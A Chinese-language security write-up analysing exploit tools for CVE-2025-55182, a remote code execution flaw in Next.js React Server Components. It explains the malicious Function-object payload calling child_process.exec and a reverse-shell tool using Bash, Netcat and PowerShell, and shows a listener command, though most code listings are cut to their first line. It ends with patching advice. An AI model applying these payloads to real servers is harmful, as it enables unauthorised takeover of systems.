本文仅供合法授权的安全研究与学习使用,请勿用于非法用途。读者应确保行为符合当地法律法规。
前言
React Server Components(RSC)是React 19引入的服务端组件架构,Next.js作为最流行的React框架率先集成。然而,CVE-2025-55182漏洞揭示了RSC在处理Function对象反序列化时的严重安全缺陷。攻击者无需任何认证,仅通过一个POST请求即可在服务器上执行任意命令,甚至直接获取反弹Shell。
本文基于Blackash-CVE-2025-55182项目源码,分析从概念验证到即时反弹Shell的完整利用过程。
漏洞背景
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-55182 |
| 漏洞类型 | 远程代码执行(RCE) |
| CVSS评分 | 9.8(Critical) |
| 影响版本 | Next.js 14.3.0-canary.77 → 15.0.4 / 15.1.8 / 16.0.6 |
| 漏洞根因 | React Server Components中Function对象的不安全反序列化 |
该漏洞存在于Next.js App Router使用的Flight端点(/_next/static/chunks/react-flight)。当服务器处理POST请求时,会对请求体中的JSON数据进行反序列化。由于RSC协议中__type为Function的对象会被当作函数执行,攻击者可以构造包含child_process.exec调用的Function对象,实现任意命令执行。
漏洞利用极为简单:无需认证、无需Cookie、单个POST请求即可触发。这使得它成为2025年最危险的前端框架漏洞之一。
环境搭建
- 靶机环境:Next.js 15.x/16.x(未打补丁版本),App Router模式
- 攻击环境:Python 3.x + requests库
- 反弹Shell监听:Netcat(
nc -lvnp 4444)
POC/EXP实现思路
项目包含两个工具:
- CVE-2025-55182-POC.py:概念验证,执行单条命令并查看输出
- CVE-2025-55182-revshell.py:一键反弹Shell,自动发送三种平台的Payload
两个工具的核心原理相同——构造包含恶意Function对象的multipart表单数据,通过POST请求发送到Next.js的Flight端点。
核心代码解析
POC核心Payload构造
1 | # 每个Next.js App Router项目使用的默认Flight端点 |
Payload的结构解析:
1:RSC协议的stream标识符__type: "Function":告诉RSC反序列化器这是一个Function对象code:将被执行的JavaScript代码
代码中global.process.mainModule.require('child_process')通过Node.js全局process对象获取child_process模块,然后调用exec()执行用户传入的命令。这种方式绕过了所有模块作用域限制,直接访问Node.js底层API。
Multipart请求体构造
1 | boundary = "----WebKitFormBoundaryCVE202555182" |
Payload被包装在multipart/form-data格式中,字段名为0。Next.js的Server Action处理逻辑会将该字段值作为RSC流进行反序列化,触发Function对象执行。Boundary值中包含CVE202555182作为标识,实际利用时可替换为任意值。
POC请求发送与响应处理
1 | try: |
值得注意的是,200、400、404、500状态码都被视为”发送成功”。这是因为命令执行发生在服务器内部,HTTP响应状态码取决于Next.js如何处理后续逻辑,而非命令是否执行成功。即使返回404,命令也可能已经执行。
反弹Shell多平台Payload
1 | payloads = [ |
反弹Shell工具准备了三种Payload,覆盖Linux和Windows平台:
- Bash反弹:最简洁的Linux反弹方式,利用
/dev/tcp伪设备文件建立TCP连接 - Netcat反弹:通过mkfifo创建命名管道实现双向通信,适用于Bash不可用的环境
- PowerShell反弹:完整的Windows反弹Shell,创建TCP客户端并循环读取执行命令
反弹Shell发送逻辑
1 | for i, cmd in enumerate(payloads, 1): |
工具依次发送三种Payload,每个间隔1秒。这种策略确保至少有一种Payload能在目标平台上成功执行。发送前会提示用户启动Netcat监听器:
1 | print(f"[+] 将在3秒内启动监听器 → nc -lvnp {lport}") |
漏洞验证与利用效果
POC验证:
1 | python CVE-2025-55182-POC.py https://vuln.example.com "id" |
输出:
1 | [+] CVE-2025-55182 利用程序 |
反弹Shell:
1 | # 攻击机先启动监听 |
输出:
1 | [+] CVE-2025-55182 即时反弹Shell |
修复建议
- 升级Next.js:升级至15.0.5+、15.1.9+或16.0.7+版本
- 升级React:升级至19.2.1+版本,修复RSC反序列化缺陷
- WAF防护:拦截包含
__type和Function的POST请求体 - 禁用Server Actions:在不需要时通过配置禁用Server Actions功能
- 限制Flight端点:对
/_next/static/chunks/react-flight端点增加认证
总结
CVE-2025-55182是React Server Components架构中一个极具破坏性的漏洞。无需认证、单请求触发、跨平台反弹Shell——这些特征使其成为2025年最危险的Web框架漏洞之一。本文分析的POC和反弹Shell工具展示了从命令验证到获取交互式Shell的完整利用路径。从防御角度看,及时升级框架版本是唯一的根本解决方案,WAF规则只能作为临时缓解措施。